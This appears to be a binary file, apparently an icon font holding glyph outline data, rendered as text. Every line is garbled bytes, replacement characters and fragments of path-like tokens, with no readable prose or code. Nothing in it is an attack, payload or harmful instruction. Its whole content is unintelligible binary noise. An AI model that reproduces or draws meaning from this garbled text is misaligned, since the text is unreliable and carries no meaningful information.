3#26=33#26=pB.EcppB.EcH�.B8cE��.B8cE����H#��p�P��P�����H75375�p�H������������!5!!5!!5!!5!"&462��@������@�p��PpH8�8�8�8����#!5!!5!!5!264&"264&"264&"��@������@��@��H8�8�8����#'+/264&"264&"264&"264&"!!!!!!!!m������������m����@@@@@@@���#+/264&"3!!264&"3!!264&"3!!4264&";#m���m��m�m��m@S@�@�@����	"3!#37538!!P8�8888�!��!��xPp88p����#5!"3!3'#33#�8��!!P888��ppH8!��!8��P88���d!.#2>3"&'!567�
%/Q/Kp
%.Q0Kp�V66VPV66V,��P������&"36#5#57�B\!���!��8�P>B!��!�8�P����&"3664'.7�B\!���!��,�O>B!��!�/�O����&"36#5627'62�B\!���!��P.!�P.!>B!��!�P!/�P!.����
&"7664&"�!.����!.I_!����.!�����&"764&"326�!.�:��,>+)"#(>W_!�:��,,(EW����74&"326&"76�!.!.B!.�*�0!!3B]!�*�����%64&"'377'6'&'7�!B\!*')�7h�)'(�� �O�!]A 	*()�e8�)((�#�O����57'57'57'57'����������������088888�88888�88888�88888���d57'57'57'������������L88888�88888�88888����75773!7p88pp�x88P80p88ppp8�8��88���� (6264&"7'&+"#"!4&"&462"&462�!.!!.�.M0p!�!���\BB\B.!!.!p]]!��!p�B\BB\����!%7&#"3654''>7%#7327(PAW`�4�L/I�K/H���5dQAW��<��O?:�C.��C-�O@t�<����	
#'36547&'67'5&#"327''7'3����s*I=s>�30:20�s*I��A=��2'r>��s*I������s=�20��*H����7'32654&5��44�5?Rs`�ZGp�<�=b͑(sRIm��:����7'75732654&˔77�ePё5>Rt`p�@�@��AБ'tRIn����3#3#'3#Ppp�pp�pp��@P��������3#3#'3#'3#P88p88p88p88��@P����pp���H%"2>5."&462&264&"FG5+02HFG5+02=\BB\B�!.!!.H"02!:-%#23!9,�B\BB\E.!!.!��P�6";2654264&"�b!�!�1F11F�bF!!FF11F1����3!53#5##57��8P8pT8Tpp����TT�OO����2"&4$"264'5#��cc�c������08	7Hc�cc��������0dp	7��P�!)"#;26=4462##"&=3&"&462�tR81#�#1�1F1����D�R:�#11#�::#11#���`��P� "#;26=4"&4627#54632�tR81#�#1�T�1##1�R:�#11#�:��#11#��P�'"3462!;26=4#"&=3&"&462�tR81F1��1#�#1T��D�R:#11#�#11#�:����`��P�"3462!;26=4"&462�tR81F1��1#�#1��R:#11#�#11#�:�����53#.'52"&462���9OtQ8 R##�����2:OtP9s5##����
#53$"&462�����,, �����j ,,
����'/7?GO62"&46"264&264&"264&"2"&4264&"462"6264&"6"&462&264&"�.!!.!f\BB\B��88||Pp�!.!!.YB\BB\�H��``T�	����'/7?G"264&264&"264&"2"&4264&"462"6264&"6"&462&264&"\BB\B��88||PpB\BB\�H��``T�����	#"&5473267#"&54S�^*1HenI]�_My16Vz^�eH1�yM_�]IzV6����%"&5473267YVzI]�_My1IzV61yM_�]I�,/%".#"&#";264&#"&54637&546323462P43.BB.�.BB.�!"5!-8!.!!�B\BB\B�! 

!"7!!.!�����d/:EP".#"&#";264&#"&54637&546323462"&47>?"&47>1"&47>?P43.BB.�.BB.�!"5!-8!.!!��&f&!e&,B\BB\B�! 

!"7!!.!�B
B
B����+"34623462"&5#26=4632346234&�]�8881F1		88���]				�#11#�				]�����	%7#'#76��88��6��mk��j�ll���
%2&'&46"44>764264&"iF1�tR)#
)�H1F-.FiRt)(2BC/.)t.�����&"24>76&"&462RtR)#
)u.!!.!.RRt))2BC/.)!.!!.����
"554"&462�\B88pY.!!.!�B.��>.f!.!!.����	#+373.'>7'5#3.'>75.'#7>7�Q,,�,QQ,86L	9
mM�	L6Mm
�6L	9
mM�	L6Mm
�,�Q,8Q,8,	L6Mm
�6L	9
mM�	L6Mm
�6L	9
mM��P�
!!75##7P���p8pp8������P�
!!353'P��pp8pp�8���������6".#"&#";#7#53264&#"&54637&546323462P
43
.BB.T8TT8T.BB.�!"5!-8!.!!HB\BTTTTB\B�!!

!"7!!.!����/6".#"&#";264&#"&54637&5463234623353P43.BB.�.BB.�!"5!-8!.!!�T888HB\BB\B�! 

!"7!!.!8TTT����#7#6?6=&/#7�&9TT7�)&(7TT�6#�&7TT �):6��7&( TT����%7'2?64&"2?'"&4?62&7�(8):�!B\!�-Z�-T(TR9�.!�

�(8:)�!\B!�-�Z-T(T9R�!.�

_a,'3?7>23."626=4&"&?#'&6#";264&#";264&�'2'6J6[�


�


���"pp�  $00$p





q8
*���V'/7?GO"264"&462&2=4""2=?6&?6.4+";%#";24%6/&&6'	R99R9E:)):)T_


�


4��



�



9R99Ro):)):����


�


AK



�



r2M
%"&4767676'67&72!\B!"/	�L2GT!B\!	/"yFG27���I+3EM26=4&""26=4'?6.4&+";276/&"&#"3273264&.467�{	




	�

(::(

)99o  ��-


Ig

	
:Q99Q:�'2'P0�-3BFL%#.#"#";#";#";2673264&+673264&%3264&+632#6"'37#&'3�GG0 7[N,,K

X7@7!

G��XD(%7��P����/A


0$
7�4$"!"3!2643264&"#"0*1#";264&�#��4���#����#�""T"c],7?%'64'7>.&'54&"'&?26=67>.462"O






��
!!

!!
����'EQr2=4"76&324+"$;24+'6/&"&'.#"327273264&'2&#"&546"'"'#"&4632367632632�{


��4�



)"9()9
'79)'h')99�'
>*)�"h"))	
	!4


))H3


]K



�(89)9')9""9R9p"/)��
))
):)

)):)���^)5Y%67676&.76&&#"3272732654&'677&'&6"'"'#"&4632>70232632}		/";#)99)'h')9&�G2%=
q"h"))

2
))�"/	<09R9""9) 3�2G/1��
))
):)!):)	*���e+3GS_k26=4&"76&3264&+"$;264&+"'6/&3&54623654&"!"3!264&!"3!264&!"3!264&�{


��,�



 ):)9R9
��P��P��P--
	
]K

	
{))	(::(&88*���G#C7!264&#!"!"3!264&!"3!264&'0'&476773676&.76&8P��V��P��P�H2$	/"i8�F2G


	"/	O ���H%-5=7&54632>26323654&#"&"&#"!"3!24!"3!24!"3!24)
5@5
)9)*�*)9��\��\��\��)"")	)9999)
88TLl7324+"#";24#";24#";24b��
�������88�,1%"&"&#"327273264&"'"'#"&4632>2632^*�*)99)'h')99)"h"))
5@5
))�999R9""9R9�
))
):)""):)����:"&"&#"3277'7673264&"'"'#"&4632>2632^*�*)99)%T
/")99))4"))
5@5
))H999R9TT9R9�
)
):)""):)����5;"&"&#"3277&'#"&4632>2632#"'673264&7'7^*�*)99)))
5@5
))
)99�TH999R9
	

):)""):)
#	9R9�TTT���d1:"&"&#"327273264&"'"'#"&4632>26322654'^*�*)99)'h')99)"h"))
5@5
))�,999R9""9R9�
))
):)""):)�))����1:CL"&"&#"327273264&"'"'#"&4632>26322654'72654''2654'^*�*)99)'h')99)"h"))
5@5
))�o�H999R9""9R9�
))
):)""):)�))
)))))/�-5=E%&"3272732654&"'"'#"&463262632#";24'324+"7324+"m!^""13%B$30'
?
##U##��pp~88*88�""2#%33%#2�#1####1#8���d-9EQZc&"3272732654&"'"'#"&4632362232#";264&'3264&+"73264&+"2654'2654'm!^""13%B$30'
?
##U##��ppv88"88�pB""2#$33$#2�"1#""#1"				8		�))G))����/7Oi'<576&&'54&"'&?26=676&"&462"&"&#"327273264&"'"'#"&4632>2632
		

			
E			o*�*)99)'h')99)"h"))
5@5
))		



						
	
		
A999R9""9R9�
))
):)""):)��/7q%'<576&&'54&"'&?26=676&"&4627"&"&#"3276767&1#"&4632>2632#"'3264&
		

			
E			o*�*)99)		))
5@5
))	)99P		



						
	
		
�999R9	
):)""):)
9R9����/7dh����'<576&&'54&"'&?26=676&"&4627'4'76&&#'&'&?36/>76&&6%&'&'76&"'&??276/6576&&6$4&#"&"&#"3272732'"'#"&4632>2632#"
		

			
E			�

		

	"


��

		

	


y9)*�*)99)'h')Q"h"))
5@5
))		



						
	
		

		

		



!
		

		



nR9999R9"")))
):)""):)����7?GOW_"&"&#"327273264&"/"/#"&46327627632"264"2646"264"264&"264^*�*)99)'h')99)

 R 

))
"p"
))��||H�H999R9""9R9�):)
..
):)8,`���$'Jc%4&#"#&""#"01&#"3272732654'6"'"'#"&4632061676326?27&#"&#">32>2632�. !f! .)99)'h')9b"h"))

!/ 5	
)*F-$
	
&.&
	
� .((. 9))9""9)!�
))
):)""
)�9����-Rk4&#"#&""#"01&#"3277'76732654'6"'&'#"&4632061676326?27&#"&#">32>2632�. !f! .)99) T2%)9b)3!))

!/ 5	
)*F-$
	
&.&
	

 .((. 9R9	
88 9)!�
 (
):)""
)�9����Un77'?4&#"#&""#"01&#"32707&'#"&4632061676326?2#"'6732654'6&#"&#">32>2632�T�. !f! .)99)	))

!/ 5	
))9)*F-$
	
&.&
	
0TT8� .((. 9R9


):)""
)

9)!9	*���V'/7?G"264&2=4""2=?6&?6.4+";%#";24%6/&&6'	R99R9p_


�


4��



�



9R99RU���


�


AK



�



�@@
6.72767�(	9R�(8R9	����'EQ2=4"76&324+"$;24+'6/&"&'.#"327273264&'"&54632&�{


��4�



)"9()9
'79)'h')99�>*)'H3


]K



�(89)9')9""9R98/)"���^)5%67676&.76&&#"3272732654&'677&'&6}		/";#)99)'h')9&�G2%=
�"/	<09R9""9) 3�2G/1�,%"&"&#"327273264&^*�*)99)'h')99�999R9""9R9����"&"&#"3277'7673264&^*�*)99)%T
/")99H999R9TT9R9���d "&"&#"327273264&2654'^*�*)99)'h')99�,999R9""9R9��))���� )2"&"&#"327273264&2654'72654''2654'^*�*)99)'h')99�o�H999R9""9R9��))
)))))/�%-%&"3272732654&#";24'324+"7324+"m!^""13%B$30��pp~88*88�""2#%33%#2�8���d!-9BK&"3272732654&#";264&'3264&+"73264&+"2654'2654'm!^""13%B$30��ppv88"88�pB""2#$33$#2�				8		�))G))����/7O'<576&&'54&"'&?26=676&"&462"&"&#"327273264&
		

			
E			o*�*)99)'h')99		



						
	
		
A999R9""9R9����/7dh���'<576&&'54&"'&?26=676&"&4627'4'76&&#'&'&?36/>76&&6%&'&'76&"'&??276/6576&&6$4&#"&"&#"3272732
		

			
E			�

		

	"


��

		

	


y9)*�*)99)'h')		



						
	
		

		

		



!
		

		



nR9999R9""����'/7?"&"&#"327273264&"264"2646"264"264&"264^*�*)99)'h')99��||H�H999R9""9R9�,`�����R&%#"'"'#"&4632061&54632362232�9)'h')99). !f! .�!)9""9R9 .((. ����-4&#"#&""#"01&#"3277'76732654'6�. !f! .)99) T2%)9
 .((. 9R9	
88 9)!���d74&"2654�!.!D

�� !! ����"264"&462?=�������cc�c�p8p��������c�cc�8p8-J��
7#/#35335#37##3733'?�$'*9p7!
6	"Y
�-5�a':����9))|PD�=6."2>4"&5462#".=4>327.#"3267'�



	
		
	

	


	�		
		

		]
-


:{QE�#6."2>4"&546275#3535#5�	

		

	
		
�j@@�		
		
				�?$����+%&"3!26'+"&=46;25+"&=46;2��F�!P!�P��55T����H%+.5474&54632>32�9)�)9+)
@(4J Z)9<*5)$-J41����!"=4;5462324&"3���*RtR*p1F1�@�8:RR:8�; -- ?����4+"3!26=#+"5'#73l�T�~*T*FH�Hr���FF������"&''.'426767.5462�

4=����	
0[5Qss�s8����-9=AEIMQUY]aeimquy}���%##32+"4;5"&'#51=46226=462"&=462&24"&"2<""2424*24""2424":4""2424""2"224"24*24"6":"26":"2�R4T�T4RB\B�88*�:`88`:8.BB.b'p''pF8*p���H !"3!26=4&'7'7'#5'77���l�
t
t
t����H����
t
tt
tS		�������
 ;CJQ#5332#;;2=;!7=4+"+5354623#'4&"353#"&546;#�88��*T��*B\B8!.!p��88@�b4p���#+>>+#��!!��b���	���d!%)-59AE#!32+"5#"4;2!235#3#37#37372"&424"62"&424"�)����5-8[��0L�FFTFF #��""�""4�8
����������""""����
&462264�������1�b@������W�1b�����"264"&462'#54+";2=4=�������bb�bFFp��������b�bb�bb�����55467&'".5<>74147>20aV

-&-W`@*,,C
5

5
C,,*����!%'1#/'675'7?37&"264z8%B>J=C%8%BAJ@C%8�.!!.!{+@$II$@J+@#JI$@+!.!!.����"&46325##"&46325?3�F11#�.#11#8�8):)�8� ):)�8��8����"%#;2+"&=46232P�!**!!**Fb!.!�!!�8!!.!bF�!!!.!����
'76321797'�P
*��w'��;)P'*��'w��+����o{$##"&'#"&5#"&5#"&5##"&54675"&4635"&4635"&4635.546323462346234623>322#2#2'4+";25�

D��X


�����d3?%"&54767>11632212654'063&54632050#"=4;2�s�s.
RtR
-��QssQG6'1:RR:1'6c������*%3.'0'&73.7>>2156=	
)15E8g�

�D>i
 ')
19
�V6IK6?-����3;7#5#"&462333333333333+"=+"=+&"264�*:RRtR8*8K.!!.!hRtRR:8888�!.!!.����752"&54633�Wm�W{}c�|��mW�{W^t�X�����"+%#&#".'.7>72326'&7>7c@
--
56A94�
(�=%LX * R$!&""8����!"5;2=32#z��p��p@&F*�\�88����%#54+"#";;2=32=4��T��T�ؚ�T��Th��7!2#!"=4��\�TT���d
*%'5'!5'&264&"%!"3!254#!"543!2T8SP*�""^�\���l،)E~""���l��4���d%!"3!2574'#'4+"#"3!2=4��\���*����T**���d##'4+"#"3!254"&462&"264�M�M��\BB\BY.!!.!,**��4��B\BB\f!.!!.����/&'#"&462&"264�



�,7Fbb�b _\BB\B



� b�bbF7,�B\BB\����.:DHOapv%&'&'.'&'&"2>7>7676764&&'&'>7'&'632010'>4573&"'>7037&'6�	$.$	$(.,(	!CB"6+A2!!&Hv$%"^R	8Ebb	(
1�E57 $D?8
�		$.($	.	
'5K%>2
1=-F�7v, "KF AH
R����+&";5'"&46354;272#72#326��
��88**FF�2��T	]Y1**T	����	4.#52+6&'.#5$2"&4qh�_u�}�P#[%I�X��.!!.!@b�bSx�x%N&RS�%!.!!.������
$"&4627'$.6��������}X{1�#OX{1�#C������X	#�1X	#�1����/"26454+".'32=4+>7;2=#";=������5L	65L55L56	L��������55L55L	66	L55LT��l�%T��@�8����#";2543#";254�TT�TT��\��\�����M%#&'72=4"&'."'54"3#";2=7326232672=4/>5324�H-.
/B/
.-HH)#;##;#)H�-FF+::+FF-3FF##**##FF3���H)1!"3!254#!"=43!2'&?67654'&#";24��\���l��6

//

6�TTH��4���H6

//

65����#'3?CGKOSW[!"3!254"424"424"424"424"424"424"42+"=4;25+"=4;2"424"424"424"424"424"424"42���l�������8��\��x���8���*����!";2573";24#'3;2=4���TF�FT�T*��P*T����,%'+"&=4&+"+"&='7753�(*T*(,�n88v(�*TT8�(,�nR�8��������7����
/3;?M[adjp"&462'05332705654#"4'%4&#4#&'0'&5&5'4#&#4'4&74'4343<5&767>4346/"&5&10.1&465&63437<14'4.56'6&#0&1"&#"&#.5"5&%02243"&4&'"&#""&#426132?4'2.1&'&'&'54'46165"0#&'&'&'&.'&#4'0&1".6361'4#.'0&'#'1&50>526:55"56&1&'754704156127>7&5:7626541"5"&#&#46321467"7630>302&#"12"#&#0'1036;56#03645627525054252621"50"'27&&123360"7"5&437'6'&"525;22570134025252304362"#'&2632671"31#5741"##""0##&14'41&##"&#"3230365&7?"103412352263407631272326217114312"6230326763211#"#"##11"#"0""#"#"#21061"3267675"7306547074765<5#"""&7+0&504'#13;5"532402527"#0030#"121""'4&50&10.14#4&5".34656'"'&56'&#.1"&5"&5.5&74'&614747656272676'2566363?6343522363522333'427'&'2#43':50"'"761"73036#&720263"225#4&7614#4&542"5'#"4;22"#*530'235"'"'272301#""1"72#2#052'217=�����*��H9
		8MJ83W
	
G%Y
@�����p(+?d
p?G	51
			
0*(,M[	
					
	
J
!$|S��l�.54>2"264�0%%00&GD.!!.!@MCM.ED.'�fl!.!!.����"264&2"&4735#'33=������**F*������/�pp�,%"2>?."&462&"264FG5+02HFG5+02HF11F1=.!!.!,))0%))0%�1F11F[!.!!.���d"1'1&#"2?64&B1#$04J%��%Jd$%Jh%��%hJ����
!373532%4;#"��ڌ***�x**@��88��\��@���~'%?''76/&&67>7&67>^	
J	;X?:		&	
J	;X?:		�

:?X;	J
	&		:>X;	J
	����
%EQa7#335#732=4+"#32=4+"%#+"=#+"=#"3!2654&#!"=43!2334&7>75#�
#��PTpT���l�Eb�
U�xTTTT8FFFF��P���F+ 
���d
#'35#%!"!4&!5!5!5463!2+";2435#8P��!�!�x��xP*����8!��P!���8���� (8%#+"&5>&+"&5463!2&264&"74&#!"3!265��2p
	������P0R	����T��l�'3#";2654&32+"4&2"+"=4;27+"=4;24�!!�!!d**8TT���!��!!P!*��8�T��l�82#2>54'"&5473273263327�1%

1%v#1'!�IF_''
:'u���1#.!'M��e�
#6"&5#26=#'46234&"372=4"�.!TRtRTp!.!TRtRT*�!�:RR:�O!!:RR:*TT����%"&546775'265IB\BB.��Pts�s�.BB.)4EbpGfKQssQ����5+%���@������5#"?6=4&"&462���

�

�	0�

�

�
�m����&>76322&'&'9&'.>$1*	I$*	s			:W/33"
o		
s
*	T)1#	#330V: Ju,777&&666''��?����?�..�?����?�.n�	__	�n��n�	__	�n�T��l�7'�J8Ag���]l�*����L76&'"#"323>'&%#53264&+?4&#"&;;267#"&53264&+53264&k	
"~~z	
'p'opp~��fAF	1*[�  *����N"#3326=4&#.+"32#";#";#";3:>5?4=76=4&�	
Z'p'opp~~~z	
Vfj	�  F	1*[	�����'3$"&=4&""&=462%32+"=4;2+"=4�b�b������TFbbFTT]��]T`��������355#3'35#'735#7�pTTp8TT8pTTp7SS-q8TT9qTTq9TT8qSS���D'&'&776�(

�t
(

��
(

�u

(
�
���p//&?'&?676���

:

��

:

��

:

�

:
!��

:

��

:

��

:

�

:
����e%654&#"&#"32732654&#"'.54632327654'&'&'&'&'&5467632#"'&'&'&#"�sQ -.BsQ -.B~-$
	


!

	


}QsB.- QsB.-	
	
			


			����)9IYjr{%!";3!26=326=4&+"&=46;25+"&=46;2+"&=46;27+"&=46;2'3676'&#"&#"726'632&'&���4�TTpp�TTpp�*(.�1�A�~��~��p88�p88*Jf%+@4%"
���� !"3!26=4&'#3'&#"3#!��`		�		��%�X	)�>�'J				�T�|�b����
#%!3265375'4&'54&"!'462z��*~!.!~8.&!.!&.�>*!!�*F!!F*b�����.<Nc%54&#!";273264&52%3276.76#"3256&76'&27>&'&#"327>&'&"P��>)p5".BB.!!��	
/<		@
	��'4*B\B�p!.!� 	 
6/
!!	
����#/;G%!"4;74;23'4;232!2#!"5'432574+"';2=4+";25'4+"���TT�T*F��l��bb��������TTTTT����(#";2654&54#.3"3764&EX@QC0:�8	��\�����	T��l�#+#";2654&"&4627+"=4;2"264P��YF11F1��d��x��\1F11F��������+5=E2=4"2=4"#54&+"#;3!265325%46;2#+"5!2=4"�
8!�!8***��p��������&!!*��F��
�������7#�������������ev2654.'&7654&#"326'45&32#"&#"32654#"#"&54>32#"&5467632654&#"#&5463232654&#"�Nm
U%

(!-)3'

#0WFJS


	!'/*'O$PC
	
	M)
	
5!$

	4*A=2'		
	. "
;+,-����?2"&46"264"&462��8�y�������cc�c>9�7Ճ������b�cc�	����#/<HT`l7#";2=4+"=4;2%#";2=4'#";2=4%#";26=4+"=4;2#";2=4+"=4;2%#";2=4bTT^������TT	TT^��0TTF��TFF~TTF�����$0<HT`lx��������7#";2=4+"=4;27#";26=4+"=4;2#";2=4+"=4;27#";2=4+"=4;2#";2=4+"=4;27#";2=4+"=4;27#";26=4+"=4;2'#";26=4+"=4;2#";2=4+"=4;2bTTTT	TT�TTTT�TTTT	�TT	�TT�TTF�TFF��TTF�TTF~TTF�TTF�TFF*TFF��TTFb��^�"5'#"=4;742^�FF�@~p��\����/"2#3264&4&'6"#";2654<-@@-7MM'_�FF�HTvTb�b�H9	!
%,%
!	=�p~�����#2!";3733'32654&#!"=43!2''?777'��xp8e2e8p��l�?E'A	!3:A7/���pppp������()4n�t0d����'"264"&462"264"&462&"264\BB\BMF11F1	�������bb�b�""B\BB\�1F11F�������b�bb�p""���d755">���V�%*E?ً�č+9+D* ����P0'&4742061717>#"'&741?'#6?1?>&'&0101967437'�I�,�

��)�	F�#""c#�C�(�
��%�1(�#^!""����H#3?GKOSW624"624"&24"24"24"624"24"24"6"27!"3!2654&#!"=43!2#";24&"2"2&24""2�**T~�**��x���lb����TTT8��������pp�����a/25%76&#54&+"#";;;26=326=4&+'57PP
	P�**�**K���P	
P**�**����������
!<!"&5463!%;2=4+"74"257'#+"=#";54;2325��xPT�����T*�*�@�T��Fp�**bb����������!-01+"&=015.5<14620'"32654&�GW
8
WG����UqvPPrm;Z_m

m_Z++(&&����"-#";#3'#5673264&467.6=W�,==,$2*8�8*2$,==��,=,�=X=$�88�$=X=i)8%!-.!%8)-���dDLT%#"&46;2'#";264&;#!"&5=46763!2+"!2#"!24#!"4#!"3!�!!!!|-8��l�=3l8#1�^��l��^L!.!!.!T&8#81�
����3;CKS[s!"=#"=4;5#"=4;5#"=4;5#"=4;5#"=4;543!2#";24#";24#";24#";24#";2474'67#2=4+"3#3���**********4���EE�@�\�TTTTVTT����"264+"&=46;2=������pp�������p����%-$"264264&"6"264$2"&4"&'!&"&462@�ͺ������.!!.!�TF.!!.!�(������!.!!.�.&&z!.!!.����s{36&7#3&>'#.'"&#41#"&54;6'&'&'&#+"547&6?4'&"/./32+"'&'"6;2+"&#"3:#676&3&6'#	E


�,/
*
"	*
8+
	��*��
	=;!,I��			
 --/T��l�'"&546;2#";24Ppp���@����x����d#+%'#!"&=46;'#"4;23272'#";24�T��l*PT9�T�TTFF�8FFT������)$"2=#";244+;";2=4&#325z8��8F��	T	��bb�����������"6264&"&4626&"26&"&462'7�11F11����pB\BB\B2�1F11F1`Q�����/BB\BB+E����'/7"264"&462&"264"&462&"&462"&462&"&462=�������bb�bntRRtR�`��������b�bb��RtRRt�`�`������#57#".=;2767'#"&=46;232767+"&=�;i;&E`aE&;j;Y��]]��ZSS&�]]�&SKZ

	Z� LL �	fg
���H!"3!2654&!2!54!"=!��x��zl�xz���H��**��~~����*4>IUlt|������%676&'&&'&"&727677676'&&'67&'676454'&'6&&'&'&4767677&'67&'6&'677&'&76763267'&'&&'&'>76767#"�
#(
8
($
$(
8
($
�
i	 
	}!	

z
	'			
	@	 �	

{

	
� .$$.  .$$ �'�'�			0

w

,

			
�


l				x

�



���y.8%##"'0#7327#"7672&632&#"767627#"'7�('/**&3&*��!.)+"	#*5+'",)�$*(0%$0)%�� ^��&WJ �O�!� ����',16;%#.'54+"#";;2=>732=4+5'#>3.53�,	L55L	,,	L55L	,tP+�P+2P+�P+�5L--L55L--L5P,3P,�P,3P,�,+7#";25'43#54#!"3!2=32=4#!"=43!2�p�T�*��l*T��4���*�*������H
55'753#75�TT��1G1BTT�rZA44A[�PFA44AZ5�&	&097#"'>7'&546.=#"'>7'654'6.=�####@-$ A�  %-2�##"#?.$!! � $-0A),,�V-I&22L&&22&J-U�,,�V-I'11'&~2&J-UL���S
!/Ui76&'&676&'&6'.7>7.7>7".5467>:7362&'.76&&'&6767.76&'..676�	.84C(A$8I(@$8IJ$0AFC6 # *V"6
V
*=?		'	/-&<$%;$#!.B *!%�

?-����%1#&/."#./.'&457637270>'./&'&7676322>767>35?;6�+
#


@%	$D



/

H
�:


!	


$(A#
	
		���pBH$+"/#5#"./#"'&4?&5#"&46;5'&462376232'#462�
842 
.28

8+
+�+
+8n�/B/�
+5
1
	��	
49(

J+
++
+J�!//���`+$4&+";27#!"&=463!27#!"&=463!2
@

@�
��

`

��

�
�


@�

�

j@

@

��p`1%#".5473267#".54>723276<.M-2@*< $AI_8'G31D'$?%
:-M.0)T6!;*13=4G'&F3

3%>%

����I$4."2>7/"/'&='&'&?'&76?547676276p'5:5''5:5'\IH..HI--IH..HI--�:5''5:5''
M>>M>>M>>M>>���`!?>&'&"#"'."$".4>2�X
	4XhX43YhX:w	

	#hX44XhX44��x%-%"&=#"&=#"&=#"&=46;2&"&462�H!.!!.�h

X�tt�X

hs.!!.!��@x19%#"/#++"&=#"&54?5##"&54?6;2&"&462@

9>
0(0
>9
@`@h!.!!.x
U!g
DD
g!U
``�.!!.!���`/74&+";26754&+";267#!"&5463!2�xx�xx(
��	
`
0�d����

`

���`#;%"/&4?62'&#"32?'#"#&/&4?62762s�
&
�

�
&
Bc/


f	
�
 �f?���

�
&
�

Cc/



f
�
&��f
?����`>^%4./.543232654.#"#".#"32>#"'#".547&54632632%	$
	* 
%


=*![8( $A/8( $A/v



	

!	$(8/A$ (8/A$���` '.2>Vb%&'#'32'&'#>?26'&'2&>'"10&#">7&'#>26".4>2
$ "	.:!M[%#
	"0K�42
$��.>!;$ 	
4XhX43YhX	<A$&�8'65)<&<;:9�$)*5
u:,
2hX44XhX44	��� !-C�"#"547"&6"3672<615#4'><&4&5.'&4'.'.'46&'.#.63676=.##&"'4&#"3676#"&'46213272>76'"32>'&'&0'&'474#6'.5>76764674&676346'6&#&32304.'.026'4.#2?4.'&#">7026'.#&#""#.'.'&654.47>7>5'"7>.'&'&5&54>7>767&'467632#"#.'&67>7>.'.47�Y�		
	





	
	
*
	!	�i
-�		

	
*		

	 
		


	

		


kY	(

		
	


	*!

	�0
8;��			

0

$
2
(4
					

��``7M[264&"264&"2"&=46+"&=##"&5'#"&=7#467'&766276#"&=4632wo�
"� � 4f

4
l

l
�8888�f11 !!�l

l
���`7'57#5'57#5�������ㄢ��������Ƨ��]�&8%#"'&#"#"'&54763232763267670\
! 
&%%+

"H
	,P1	AA<:$$		
 1
%
@�%'&=!"&=463!546�`��8
`�Y808X@�%#!/&54?6!2���
``8�08XY8���p++"&5#"&?632�808XY��8
``����6#"/&76;46;23�XY808@
``8�����`"2%5#"'&'&=35#5#33276+"&=46;2
	DD) 
z*�**�* -J-I
)e		�**�**��`#33#327#"'&'&'&=#567676b6[[
*

`a<c"		=

�6���`':Yi74&67&5&6767'.'>7646&#"'7>76'&'&7>767+"&=46;2�

	!$-	&*	15	
(f)(>,	"6C"	

-@.J*�**�*�

N		�	&�
	#3

CL�**�**��ai
*Cg7'.676.7>7.'&7>"'.'&'?77'&'.'.'>7676�
	
	2%9ID97


418�8-?Z>$	
/_J'� &�	
			�
	1%&�*z
 



2,	���`	7#3'3736".4>2�2d�ss�4XhX43YhX�L8��(LhX44XhX44���`2+"&=4634&"264&"28**�**f,  ,� ,,`*�**�*�,,,,���`/?%5##"&547#3!26&4&#"32754&+";267#!"&5463!2T! 7!1F#	F.  --  t
+

+
,��� 5D0�		m>,,>,�)

)

;����`�
!7#57!#5335'7'7'7'7'���	�ʰ��
�2��md c�&"&&V�	���&t-%.{Z Zs��:�����c7'9'579''7'd|VzK{z$VV�V|TLTzVVzT|�LGPHJJHH6GLDDCPG�ODL�@/$4/&32?6"'.'.<67>762@�	��8�88�8�P
�
P&0))0))���`&670'&+";2?&+";276/76+"&=46;2�. 1.�/fA.Af7*�**�*�7	6V	�	�w	w�"�**�**��_~$7+"&?'&76;27+"/676;2�>	<?(<
��T<
U�
<�npFY�����z�	+=[c}���7#"'5632#542'35#3;5##"'4=#32?54'&#"5#35327675##"=354'&#"327676'54"2"'.'&547>7623#5&'&'3#"'&=476327#5#"'&=313275�

T�NHk


U-
	
	��.�.-�.�	m	

	T
I5K%�{^
Za
	17�
	

	+	

�44�;;;dDD"B,	

	,	

	}	
b[	_���`	+=\d����754#"327354"'##5#5#5#"'&=313275#"'#53632#"'&=4762#327<='"=424'.'&#"27>76'7#'#3754'&#"327635##"50=#32?+"&=46;2�.�l			P		?

!`�"EE""�"�	H-	
~*�**�*:(8+

:jj\
	IDF$

	{(
-
	 		
�'

'
�,+-

�J002 

 		\FDI	B�**�**���@\7#"&5463254&+";26%+#"'.'.'&'.'"&=46327>;2@
		
(
H	
H
E	
	
	(	"
�

		��

�

+	





	
�
	���`\74&#"3267+"&=46;2+".'&#"&=463>767>7>763232@
		
(
H	
H
(
"	(	
	
	E0

		��	
�

	
�
	



��t�
$7V4&#"326#"/&76;46;232#53546=#'73#"'&'73267##"&54632P

�PP000�u)01

	"$*8��PPX��@l.�M$$/��t�
$CV%4&#"326#"/&76;46;2327#"'&'73267##"&54632'#53546=#'73P

�PP000�

	"$*u)08PPX��
$$/�l.�����)9IY+"&=46;2'#"/&76;46;2327+"&=46;27+"&=46;27+"&=46;20@@xPP000�pp0��0��00PPX��\00|00|00����)9IY7#"/&76;46;232+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2�PP000��0��0pp0@@PPX��$00|00|00|00����	#3O%3/&50#"/&76;46;232#53'#3#5373#576?0"1"+#5332;5*,�PP000�H<G:(:�\:�\>68PPX��B$$�� :�9�����	#?O3/&50#"/&76;46;232#576?0"1"+#5332;57#53'#3#5373*,�PP000ђ\:�\>4H<G:(:6��PPX��":�9��$$����@`18%54&+";26=4&+";267#!"&546;37#5����@
��

�
�
N
(D\�

P
�
 
N
��@`%#!"&546;37#5@
��

�
�
N
��

P
�
 
N
��:`3H\%#5"##5*+732753"#5&+53235363534.*#22>'4."#:>$% '
'25'
'4

			

	�.%#@??@.eH)?>=?�		T~
M�`l?#004?#;'#7#034?#++"/#+"&5'#"&=46;'#"&=46;'&76;2376;2376;232+32�(Ii"h(J�5)()4*'(4,$"Z["$	-UKKk   �KKk  ���� VZZZZV ���`L\%+"&=#"#"/&67263>	5#"&=463!2+;26=46;2'+"&=46;2�/! !/8	


@08
 
0`��X!//!x,"
,
((�

�((`E3#"&=#"&=46;5#"&=46;'&76;2>?6;232+32+�+HHH5P05	
00O6HHHR�k	i�R�`>++"'&'&=46;267#"&=46;&+"&=46;2+32�*5+*I1M0!(kg5$�:*
$--Y\3 !
����a7+"&=.'&?672332654.'.5467546;2#'0.#"�1("!		


1'"
		X&8,,
!	
	

#4-,$			
�`?%+"&=46;5#"&=46;54632"'.#"32+3546;2��>0.&
LLg)d\&_!8*8 	6!_.�``7#0"#"&'#"&=46;47#"&=46;>322/0#/#'"32+32+32>7376�		
;WY82
vzr`2 
9'A74@' 	"���`
-$'&=47654&+";267+"&=46;2p				p7��@*�**�*�P
�
P�����**�**���`
